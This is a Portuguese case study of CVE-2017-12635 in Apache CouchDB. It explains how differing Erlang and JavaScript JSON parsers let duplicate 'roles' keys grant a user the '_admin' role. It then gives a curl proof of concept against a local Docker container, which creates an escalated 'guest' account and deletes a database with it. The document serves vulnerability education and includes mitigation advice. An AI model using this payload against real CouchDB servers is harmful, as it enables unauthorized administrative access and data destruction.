
Estudo de caso e POC de CVE-2017-12635: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Escalação de Privilégio Remota
Estudo de caso e PoC do CVE-2017-12635 (Apache CouchDB 1.7.0 / 2.x < 2.1.1) - Escalação Remota de Privilégios
Apache CouchDB é um banco de dados NoSQL orientado a documentos, implementado em Erlang.
CouchDB utiliza múltiplos formatos e protocolos para armazenar, transferir e processar seus dados: usa JSON para armazenar dados, JavaScript como linguagem de consulta através de MapReduce, e HTTP como API.
CouchDB pode ser usado como um banco de dados de nó único, bem como um cluster.
Devido à discrepância entre o parser JSON baseado em Erlang e o parser JSON baseado em JavaScript, existia uma vulnerabilidade no CouchDB antes das versões 1.7.0 e 2.x anteriores a 2.1.1 que permitia que usuários não administradores escalassem privilégios ao enviar documentos _users com chaves roles duplicadas usadas para controle de acesso nos bancos de dados, incluindo o caso especial da função _admin, que denota usuários administrativos.
Em resumo, a vulnerabilidade permite que usuários não administradores concedam a si mesmos privilégios de administrador.
Por padrão, o CouchDB permite que qualquer requisição seja feita por qualquer pessoa. Todos têm privilégios para fazer qualquer coisa.
O CouchDB tem o conceito de um usuário administrador (por exemplo, administrador, superusuário ou root) que pode fazer qualquer coisa em uma instalação do CouchDB. Por padrão, todos são administradores. Se você não gosta disso, pode criar usuários administradores específicos com nome de usuário e senha como credenciais.
O CouchDB também define um conjunto de requisições que apenas usuários administradores podem fazer. Visite a documentação oficial para mais informações.
O CouchDB possui um banco de dados de autenticação especial que armazena todos os usuários registrados como documentos JSON.
O CouchDB usa um banco de dados especial (chamado _users por padrão) para armazenar informações sobre usuários registrados. Este é um banco de dados de sistema – isso significa que, embora compartilhe a API comum de banco de dados, há algumas restrições especiais relacionadas à segurança e acordos sobre a estrutura dos documentos.
Apenas administradores podem GET, PUT ou DELETE qualquer documento no banco de dados _users.
Usuários só podem acessar (GET /_users/org.couchdb.user:<username>) ou modificar (PUT /_users/org.couchdb.user:<username>) documentos que possuem.
Cada usuário do CouchDB é armazenado em formato de documento. Esses documentos contêm vários campos obrigatórios que o CouchDB manipula para o processo correto de autenticação. Estamos interessados no campo roles.
O campo roles é uma lista de funções do usuário. O CouchDB não fornece funções internas, então você pode definir as suas próprias conforme necessário. No entanto, você não pode definir funções de sistema como _admin ali. Além disso, apenas administradores podem atribuir funções a usuários – por padrão, todos os usuários não têm funções.
O CouchDB é escrito em Erlang, mas permite que os usuários especifiquem scripts de validação de documentos em JavaScript. Esses scripts são avaliados automaticamente quando um documento é criado ou atualizado. Eles são iniciados em um novo processo e recebem documentos serializados em JSON do lado Erlang.
O CouchDB envia funções e documentos para um interpretador JavaScript. Esse mecanismo é o que permite que os usuários escrevam funções de validação de documentos em JavaScript. A função validate_doc_update é executada para cada documento criado ou atualizado. Se a função de validação lançar uma exceção, a atualização é negada; caso contrário, as atualizações são aceitas.
O CouchDB usa a função validate_doc_update para evitar que atualizações de documentos inválidas ou não autorizadas prossigam.
function(newDoc, oldDoc, userCtx, secObj) {...}
Argumentos:
newDoc – Nova versão do documento que será armazenadaoldDoc – Versão anterior do documento já armazenadauserCtx – Objeto de Contexto do UsuáriosecObj – Objeto de SegurançaA função recebe o novo documento da requisição de atualização, o documento atual armazenado no banco de dados, um Objeto de Contexto do Usuário contendo informações sobre o usuário que está escrevendo o documento (se presente), e um Objeto de Segurança com listas de funções de segurança do banco de dados.
O parser JSON usado internamente pelo CouchDB é o jiffy e o usado nos scripts de validação pelo JavaScript é o JSON.
O problema é que existe uma discrepância entre JSON e jiffy ao lidar com chaves duplicadas.
Para uma determinada chave, o parser Erlang armazenará ambos os valores, mas o parser JavaScript armazenará apenas o último.
Por exemplo, analisar {"name":"John", "name":"Jane"} usando ambos os parsers produzirá:
jiffy: {[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}JSON: {name: "Jane"}A função getter para a representação interna dos dados do CouchDB retornará apenas o primeiro valor.
Podemos contornar toda a validação de entrada relevante e criar um usuário administrador criando um usuário com uma chave roles duplicada.
É assim que o documento do novo usuário se parece: {..., "roles": ["_admin"], "roles": [], ...} .
A função getter para a representação interna dos dados do CouchDB retornará apenas o primeiro valor. Como resultado, no lado Erlang, nos veremos como tendo a função _admin, enquanto no lado JavaScript parecemos não ter permissões especiais.
Felizmente para o atacante, quase toda a lógica importante relacionada à autenticação e autorização, além do script de validação de entrada, ocorre na parte Erlang do CouchDB.
Para esta demonstração, usaremos uma imagem Docker do repositório oficial couchdb. Precisamos de um cliente HTTP para fazer chamadas à API e usaremos cURL para isso.
Qualquer sistema operacional pode ser usado para esta demonstração.
Pré-requisitos:
Estes são os comandos a serem executados para explorar a vulnerabilidade:
Criar um contêiner baseado na imagem oficial do couchdb
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
Escolhemos a tag 1.6.1 porque a versão 1.6.1 do CouchDB é vulnerável.
Verificar se a instância do CouchDB foi iniciada e está funcionando
curl -X GET http://localhost:5984
Consulta: Todos os bancos de dados na instância
curl -X GET http://localhost:5984/_all_dbs
Consulta: Criar um novo banco de dados chamado records
curl -X PUT http://localhost:5984/records
Consulta: Verificar se o banco de dados records foi criado
curl -X GET http://localhost:5984/_all_dbs
Podemos obter, adicionar e até remover todos os registros da instância do CouchDB porque uma instalação padrão do CouchDB fornece acesso de nível de administrador a todos os usuários conectados. Essa configuração é conhecida como Admin Party. Podemos encerrar a festa simplesmente criando a primeira conta de administrador.
Consulta: Criar uma conta de administrador com credenciais admin:admin
A demonstração provou que qualquer usuário pode criar uma conta com função de administrador e agir no banco de dados como se fosse um administrador.
Podemos distinguir dois tipos de instâncias do CouchDB:
Por padrão, uma instância do CouchDB pode ser acessada por usuários anônimos. Para garantir que todas as requisições permitidas sejam apenas de usuários autenticados, podemos definir require_valid_user como true no arquivo de configuração do banco de dados. Ao fazer isso, nenhuma requisição é permitida de usuários anônimos; todos devem estar autenticados.
Estas são algumas medidas a serem tomadas para evitar que usuários maliciosos explorem a vulnerabilidade. Isso é válido para todos os usuários do CouchDB 1.x e 2.x que não estejam na versão 2.1.1 ou posterior, ou 1.7.1 ou posterior.
Instâncias CouchDB públicas:
require_valid_user e confia em todos os seus usuários com acesso de administrador de banco de dados e shell do servidor: não há problema.Instâncias CouchDB internas:
require_valid_user habilitado e confia em todos os seus usuários com acesso de administrador de banco de dados e shell do servidor: não há problema.require_valid_user desabilitado e confia em todos os seus usuários com acesso de administrador de banco de dados e shell do servidor: habilite require_valid_user.API: Uma interface de programação de aplicações (API) é uma interface ou protocolo de comunicação entre diferentes partes de um programa de computador, destinada a simplificar a implementação e manutenção de software.
Erlang: Erlang é uma linguagem de programação funcional, concorrente e de propósito geral, além de um sistema de tempo de execução com coleta de lixo.
HTTP: O Protocolo de Transferência de Hipertexto (HTTP) é um protocolo de aplicação para sistemas de informação hipermídia distribuídos e colaborativos. HTTP é a base da comunicação de dados para a World Wide Web, onde documentos de hipertexto incluem hiperlinks para outros recursos que o usuário pode acessar facilmente.
JSON: Notação de Objetos JavaScript (JSON) é um formato de arquivo aberto padrão ou formato de intercâmbio de dados que utiliza texto legível por humanos para transmitir objetos de dados compostos por pares atributo–valor e tipos de dados de array (ou qualquer outro valor serializável). É um formato de dados muito comum, com uma gama diversa de aplicações, como servir como substituto do XML em sistemas AJAX.
MapReduce: MapReduce é um modelo de programação e uma implementação associada para processar e gerar grandes conjuntos de dados com um algoritmo paralelo e distribuído em um cluster.
NoSQL: Um banco de dados NoSQL fornece um mecanismo para armazenamento e recuperação de dados modelados de maneiras diferentes das relações tabulares usadas em bancos de dados relacionais.
PoC: Prova de conceito (PoC) é a realização de um determinado método ou ideia para demonstrar sua viabilidade, ou uma demonstração em princípio com o objetivo de verificar se algum conceito ou teoria tem potencial prático.
Escalação de Privilégios: A escalação de privilégios é o ato de explorar um bug, falha de design ou descuido de configuração em um sistema operacional ou aplicativo de software para obter acesso elevado a recursos normalmente protegidos de um aplicativo ou usuário.
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
Consulta: Criar um novo banco de dados chamado new_records
curl -X PUT http://localhost:5984/new_records
Opa! Não podemos mais criar um novo banco de dados porque o Admin Party foi encerrado quando a primeira conta de administrador foi criada.
Consulta: Criar um novo banco de dados chamado new_records com autenticação de administrador
curl -X PUT http://admin:admin@localhost:5984/new_records
Consulta: Criar um novo documento no banco de dados _users
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
Aqui podemos criar um novo documento no banco de dados _users, mas com restrições em seus argumentos.
Podemos contornar as restrições duplicando o campo roles conforme explicado anteriormente.
Consulta: Excluir o banco de dados chamado new_records
curl -X DELETE http://localhost:5984/new_records
Opa! Não podemos porque não temos a função de administrador.
Consulta: Excluir o banco de dados chamado new_records com autenticação de convidado
curl -X DELETE http://guest:guest@localhost:5984/new_records
Bingo! Excluímos o banco de dados mesmo que a conta de convidado tenha sido criada como um usuário normal.